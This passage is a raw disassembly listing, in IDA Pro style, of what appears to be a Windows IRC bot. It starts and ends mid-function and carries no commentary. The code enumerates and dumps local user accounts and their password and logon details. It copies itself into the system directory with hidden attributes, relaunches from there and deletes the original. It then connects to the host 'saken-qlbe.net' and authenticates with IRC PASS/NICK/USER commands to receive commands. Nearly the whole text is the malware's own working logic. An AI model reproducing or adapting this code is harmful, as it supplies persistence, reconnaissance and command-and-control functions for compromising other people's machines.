loc_40DE66: ; CODE XREF: sub_40DD54+FFj mov eax, offset aUser_1 ; "User" jmp short loc_40DE72 ; --------------------------------------------------------------------------- loc_40DE6D: ; CODE XREF: sub_40DD54+FCj mov eax, offset aGuest ; "Guest" loc_40DE72: ; CODE XREF: sub_40DD54+109j ; sub_40DD54+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_416FB6 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D476 add esp, 20h pop edi pop ebx jmp short loc_40E10D ; --------------------------------------------------------------------------- loc_40E0E1: ; CODE XREF: sub_40DD54+35j push eax lea eax, [ebp+var_204] push offset dword_42E35C push eax call sub_416FB6 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D476 add esp, 20h loc_40E10D: ; CODE XREF: sub_40DD54+38Bj cmp [ebp+var_4], 0 jz short loc_40E11C push [ebp+var_4] call dword_43EBB4 loc_40E11C: ; CODE XREF: sub_40DD54+40j ; sub_40DD54+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_40DD54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E122 proc near ; CODE XREF: sub_40EC43+2175p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DA89 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 18h loc_40E161: ; CODE XREF: sub_40E122+12Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43EA8C cmp eax, esi mov [ebp+var_C], eax jz short loc_40E1C2 cmp eax, 0EAh jz short loc_40E1C2 push eax push eax call sub_40E298 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42E56C push eax call sub_416FB6 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 24h jmp short loc_40E233 ; --------------------------------------------------------------------------- loc_40E1C2: ; CODE XREF: sub_40E122+62j ; sub_40E122+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E246 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E233 loc_40E1D0: ; CODE XREF: sub_40E122+E9j cmp edi, esi lea eax, [ebp+var_218] jz short loc_40E20F push dword ptr [edi] push offset aS_6 ; " %S" push eax call sub_416FB6 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E1D0 jmp short loc_40E233 ; --------------------------------------------------------------------------- loc_40E20F: ; CODE XREF: sub_40E122+B6j push offset dword_42E528 push eax call sub_416FB6 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 1Ch loc_40E233: ; CODE XREF: sub_40E122+9Ej ; sub_40E122+ACj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E246 push edi call dword_43EBB4 xor edi, edi mov [ebp+var_4], edi loc_40E246: ; CODE XREF: sub_40E122+A5j ; sub_40E122+116j cmp [ebp+var_C], 0EAh jz loc_40E161 cmp edi, esi jz short loc_40E25E push edi call dword_43EBB4 loc_40E25E: ; CODE XREF: sub_40E122+133j push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_416FB6 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E122 endp ; =============== S U B R O U T I N E ======================================= sub_40E298 proc near ; CODE XREF: sub_40D8F8+41p ; sub_40DAED+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E34A jz loc_40E343 cmp eax, 7Bh ja short loc_40E30F jz short loc_40E305 cmp eax, 5 jz short loc_40E2FB cmp eax, 8 jz short loc_40E2F1 cmp eax, 32h jz short loc_40E2E7 cmp eax, 35h jz short loc_40E2DD cmp eax, 57h jnz loc_40E399 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E2DD: ; CODE XREF: sub_40E298+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E2E7: ; CODE XREF: sub_40E298+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E2F1: ; CODE XREF: sub_40E298+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E2FB: ; CODE XREF: sub_40E298+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E305: ; CODE XREF: sub_40E298+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E30F: ; CODE XREF: sub_40E298+1Aj sub eax, 7Ch jz short loc_40E33C sub eax, 7C8h jz short loc_40E335 dec eax jz short loc_40E32B dec eax jnz short loc_40E399 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E32B: ; CODE XREF: sub_40E298+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E3BA ; --------------------------------------------------------------------------- loc_40E335: ; CODE XREF: sub_40E298+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E33C: ; CODE XREF: sub_40E298+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E343: ; CODE XREF: sub_40E298+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E34A: ; CODE XREF: sub_40E298+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E383 jz short loc_40E37C sub eax, 8ADh jz short loc_40E3AE dec eax dec eax jz short loc_40E375 dec eax jz short loc_40E36E dec eax dec eax jnz short loc_40E399 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E36E: ; CODE XREF: sub_40E298+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E375: ; CODE XREF: sub_40E298+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E37C: ; CODE XREF: sub_40E298+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E383: ; CODE XREF: sub_40E298+B9j sub eax, 8CAh jz short loc_40E3B5 sub eax, 17h jz short loc_40E3AE sub eax, 25h jz short loc_40E3A7 sub eax, 29h jz short loc_40E3A0 loc_40E399: ; CODE XREF: sub_40E298+35j ; sub_40E298+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E3A0: ; CODE XREF: sub_40E298+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E3A7: ; CODE XREF: sub_40E298+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E3AE: ; CODE XREF: sub_40E298+C2j ; sub_40E298+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E3BA ; --------------------------------------------------------------------------- loc_40E3B5: ; CODE XREF: sub_40E298+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E3BA: ; CODE XREF: sub_40E298+40j ; sub_40E298+4Aj ... push offset dword_443180 call sub_416FB6 pop ecx mov eax, offset dword_443180 pop ecx retn sub_40E298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3CC proc near ; CODE XREF: sub_40EC43+21BAp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4196B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_423154 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4196B9 lea eax, [ebp+var_718] push eax call sub_41969C add esp, 10h add eax, eax push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43EB34 test eax, eax jnz short loc_40E45C mov esi, offset dword_442F78 push offset dword_42E8C0 push esi call sub_416FB6 pop ecx pop ecx jmp short loc_40E485 ; --------------------------------------------------------------------------- loc_40E45C: ; CODE XREF: sub_40E3CC+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E298 pop ecx mov esi, offset dword_442F78 push eax push offset dword_42E888 push esi call sub_416FB6 add esp, 14h loc_40E485: ; CODE XREF: sub_40E3CC+8Ej mov eax, esi pop esi leave retn sub_40E3CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E48A proc near ; CODE XREF: sub_4198E4+C9p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = byte ptr -0E4h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_40D1A2 push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_423058 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4890F8, eax call esi ; GetTickCount push eax call sub_417008 pop ecx call sub_409658 push 2 call dword_43EBD0 ; SetErrorMode push 7530h push offset aBotid ; "botid" push ebx push ebx call dword_423164 ; CreateMutexA push eax call dword_423088 ; WaitForSingleObject cmp eax, 102h jnz short loc_40E507 push 1 call dword_42314C ; ExitProcess loc_40E507: ; CODE XREF: sub_40E48A+73j lea eax, [ebp+var_884] push eax push 202h call dword_43EA9C ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_40E958 cmp [ebp+var_884], 2 jnz loc_40E952 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_40E952 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_423068 ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_423100 ; GetModuleHandleA push eax call dword_423094 ; GetModuleFileNameA lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_418FB8 lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp+var_5F4] push esi push eax call sub_41752A lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_417580 add esp, 30h test eax, eax jnz loc_40E75B cmp dword_42E914, ebx mov esi, offset byte_42E9B8 jz short loc_40E602 push esi xor edi, edi call sub_4177B0 sub eax, 4 pop ecx jz short loc_40E602 loc_40E5DF: ; CODE XREF: sub_40E48A+176j call sub_417012 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42E9B8[edi], dl inc edi call sub_4177B0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E5DF loc_40E602: ; CODE XREF: sub_40E48A+145j ; sub_40E48A+153j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset aSS_3 ; "%s\\%s" push eax call sub_416FB6 add esp, 10h lea eax, [ebp+var_1E8] push eax call dword_4230A8 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40E642 lea eax, [ebp+var_1E8] push 80h push eax call dword_423128 ; SetFileAttributesA loc_40E642: ; CODE XREF: sub_40E48A+1A4j mov esi, dword_423160 xor edi, edi jmp short loc_40E66E ; --------------------------------------------------------------------------- loc_40E64C: ; CODE XREF: sub_40E48A+1F7j call dword_42308C ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40E683 cmp eax, 20h jz short loc_40E660 cmp eax, 5 jnz short loc_40E683 loc_40E660: ; CODE XREF: sub_40E48A+1CFj xor edi, edi push 3A98h inc edi call dword_423064 ; Sleep loc_40E66E: ; CODE XREF: sub_40E48A+1C0j lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax call esi ; CopyFileA test eax, eax jz short loc_40E64C loc_40E683: ; CODE XREF: sub_40E48A+1CAj ; sub_40E48A+1D4j lea eax, [ebp+var_1E8] push eax call sub_40A9AA pop ecx lea eax, [ebp+var_1E8] push 7 push eax call dword_423128 ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_417030 push 44h lea eax, [ebp+var_64] pop esi push esi push ebx push eax call sub_417030 mov [ebp+var_64], esi xor esi, esi inc esi add esp, 18h mov [ebp+var_58], offset byte_43BCE8 mov [ebp+var_38], esi mov [ebp+var_34], bx call dword_42315C ; GetCurrentProcessId push eax push esi push 100000h call dword_4230FC ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset dword_434488 push eax call sub_416FB6 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call dword_423120 ; CreateProcessA test eax, eax jz short loc_40E75B push 0C8h call dword_423064 ; Sleep push [ebp+var_1C] mov esi, dword_423078 call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle call dword_43EA84 ; WSACleanup push ebx call dword_42314C ; ExitProcess loc_40E75B: ; CODE XREF: sub_40E48A+134j ; sub_40E48A+2A7j cmp dword_4894C8, 2 jle short loc_40E7A7 mov eax, dword_4894CC push dword ptr [eax+4] call sub_41751F pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_423088 ; WaitForSingleObject push esi call dword_423078 ; CloseHandle mov eax, dword_4894CC cmp [eax+8], ebx jz short loc_40E7A7 push 7D0h call dword_423064 ; Sleep mov eax, dword_4894CC push dword ptr [eax+8] call dword_423158 ; DeleteFileA loc_40E7A7: ; CODE XREF: sub_40E48A+2D8j ; sub_40E48A+302j cmp dword_42E918, ebx jz short loc_40E7C4 cmp dword_43EBF0, ebx jnz short loc_40E7C4 lea eax, [ebp+var_5F4] push eax call sub_40BFCF pop ecx loc_40E7C4: ; CODE XREF: sub_40E48A+323j ; sub_40E48A+32Bj lea eax, [ebp+var_E4] push offset dword_434460 push eax call sub_416FB6 push ebx lea eax, [ebp+var_E4] push ebx push eax call sub_416A7A lea eax, [ebp+var_E4] push eax call sub_40BD8D push 0B80h push ebx push offset dword_4437E8 call sub_417030 call sub_417012 push 7Fh push offset aSakenQlbe_net ; "saken-qlbe.net" push offset dword_489104 mov dword_489270, ebx call sub_418910 mov eax, dword_42E8F8 push 3Fh mov edi, offset dword_489184 push offset a1 ; "#1#" push edi mov dword_489254, eax call sub_418910 push 3Fh mov esi, offset dword_4891C4 push offset a7lome ; "7lome" push esi call sub_418910 add esp, 48h mov dword_489258, ebx loc_40E852: ; CODE XREF: sub_40E48A+46Ej ; sub_40E48A+479j ... mov [ebp+var_4], ebx loc_40E855: ; CODE XREF: sub_40E48A+422j cmp dword_43EC08, ebx jnz short loc_40E873 lea eax, [ebp+var_20] push ebx push eax call dword_43EA68 ; InternetGetConnectedState test eax, eax jnz short loc_40E873 push 7530h jmp short loc_40E89F ; --------------------------------------------------------------------------- loc_40E873: ; CODE XREF: sub_40E48A+3D1j ; sub_40E48A+3E0j push offset dword_489100 mov dword_48926C, ebx call sub_40E961 cmp eax, 2 mov [ebp+var_8], eax jz loc_40E94D cmp dword_48926C, ebx jz short loc_40E89A dec [ebp+var_4] loc_40E89A: ; CODE XREF: sub_40E48A+40Bj push 0BB8h loc_40E89F: ; CODE XREF: sub_40E48A+3E7j call dword_423064 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_40E855 cmp [ebp+var_8], 2 jz loc_40E94D cmp [ebp+var_C], ebx jz short loc_40E8FD push 7Fh push offset aSakenQlbe_net ; "saken-qlbe.net" push offset dword_489104 call sub_418910 mov eax, dword_42E8F8 push 3Fh push offset a1 ; "#1#" push edi mov dword_489254, eax call sub_418910 push 3Fh push offset a7lome ; "7lome" push esi call sub_418910 add esp, 24h mov [ebp+var_C], ebx jmp loc_40E852 ; --------------------------------------------------------------------------- loc_40E8FD: ; CODE XREF: sub_40E48A+431j cmp byte_42E99C, bl jz loc_40E852 push 7Fh push offset byte_42E99C push offset dword_489104 call sub_418910 mov eax, dword_42E8FC push 3Fh push offset dword_42E9AC push edi mov dword_489254, eax call sub_418910 push 3Fh push offset a7lome_0 ; "7lome" push esi call sub_418910 add esp, 24h mov [ebp+var_C], 1 jmp loc_40E852 ; --------------------------------------------------------------------------- loc_40E94D: ; CODE XREF: sub_40E48A+3FFj ; sub_40E48A+428j call sub_416C3D loc_40E952: ; CODE XREF: sub_40E48A+A1j ; sub_40E48A+B1j call dword_43EA84 ; WSACleanup loc_40E958: ; CODE XREF: sub_40E48A+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40E48A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E961 proc near ; CODE XREF: sub_40E48A+3F4p ; DATA XREF: sub_40EC43+3ACEo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40E986: ; CODE XREF: sub_40E961+E6j ; sub_40E961+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417030 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43EB24 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ABF8 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40EAC3 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417030 push 0 lea eax, [ebp+var_2C] push dword_489264 push dword_42E924 push eax call sub_415A3A mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_444580 push edi push eax call sub_418910 add esp, 28h push 6 push 1 push 2 call dword_43EBA4 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_444574[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EA4C push esi call dword_43EBBC ; closesocket call sub_40AC21 push 7D0h loc_40EA41: ; CODE XREF: sub_40E961+146j call dword_423064 ; Sleep jmp loc_40E986 ; --------------------------------------------------------------------------- loc_40EA4C: ; CODE XREF: sub_40E961+CDj lea eax, [ebp+var_18C] push eax push offset unk_434494 call sub_40BE01 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40EAC7 add esp, 28h mov edi, eax push esi call dword_43EBBC ; closesocket test edi, edi jz loc_40E986 cmp edi, 1 jnz short loc_40EAA9 push 0DBBA0h jmp short loc_40EA41 ; --------------------------------------------------------------------------- loc_40EAA9: ; CODE XREF: sub_40E961+13Fj cmp edi, 2 jnz loc_40E986 push [ebp+var_34] call sub_416D90 pop ecx push edi pop eax loc_40EABD: ; CODE XREF: sub_40E961+164j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_40EAC3: ; CODE XREF: sub_40E961+5Aj xor eax, eax jmp short loc_40EABD sub_40E961 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAC7 proc near ; CODE XREF: sub_40E961+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417830 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40EAE5: ; CODE XREF: sub_40EAC7+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40EAE5 cmp byte_48926A, bl jz short loc_40EB0C push offset byte_48926A push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D430 add esp, 0Ch loc_40EB0C: ; CODE XREF: sub_40EAC7+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415A3A add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_416FB6 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EB76 push [ebp+arg_0] call dword_43EBBC ; closesocket push 1388h call dword_423064 ; Sleep loc_40EB6F: ; CODE XREF: sub_40EAC7+D9j ; sub_40EAC7+153j xor eax, eax loc_40EB71: ; CODE XREF: sub_40EAC7+16Fj ; sub_40EAC7+177j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EB76: ; CODE XREF: sub_40EAC7+92j ; sub_40EAC7+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43EB3C ; recv test eax, eax jle short loc_40EB6F lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A6A1 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EB76 lea edi, [ebp+var_A10] loc_40EBC7: ; CODE XREF: sub_40EAC7+165j xor esi, esi inc esi loc_40EBCA: ; CODE XREF: sub_40EAC7+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EC43 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EC0D push 7D0h call dword_423064 ; Sleep jmp short loc_40EBCA ; --------------------------------------------------------------------------- loc_40EC0D: ; CODE XREF: sub_40EAC7+137j cmp esi, 0FFFFFFFDh jz short loc_40EC3B cmp esi, 0FFFFFFFEh jz short loc_40EC33 cmp esi, 0FFFFFFFFh jz loc_40EB6F inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EBC7 jmp loc_40EB76 ; --------------------------------------------------------------------------- loc_40EC33: ; CODE XREF: sub_40EAC7+14Ej xor eax, eax inc eax jmp loc_40EB71 ; --------------------------------------------------------------------------- loc_40EC3B: ; CODE XREF: sub_40EAC7+149j push 2 pop eax jmp loc_40EB71 sub_40EAC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC43 proc near ; CODE XREF: sub_40EAC7+12Ap var_2924 = byte ptr -2924h var_2524 = byte ptr -2524h var_2324 = byte ptr -2324h var_2124 = byte ptr -2124h var_2024 = byte ptr -2024h var_1F24 = byte ptr -1F24h var_1F20 = byte ptr -1F20h var_1E20 = dword ptr -1E20h var_1E1C = dword ptr -1E1Ch var_1E18 = byte ptr -1E18h var_1D98 = byte ptr -1D98h var_1D18 = byte ptr -1D18h var_1C98 = byte ptr -1C98h var_1C18 = byte ptr -1C18h var_1B98 = dword ptr -1B98h var_1B94 = dword ptr -1B94h var_1B90 = dword ptr -1B90h var_1B8C = dword ptr -1B8Ch var_1B88 = byte ptr -1B88h var_1B08 = byte ptr -1B08h var_1A88 = byte ptr -1A88h var_1A08 = byte ptr -1A08h var_1988 = dword ptr -1988h var_1984 = dword ptr -1984h var_1980 = dword ptr -1980h var_197C = dword ptr -197Ch var_1978 = dword ptr -1978h var_1974 = byte ptr -1974h var_18F4 = byte ptr -18F4h var_1874 = byte ptr -1874h var_17F4 = dword ptr -17F4h var_17F0 = dword ptr -17F0h var_17EC = dword 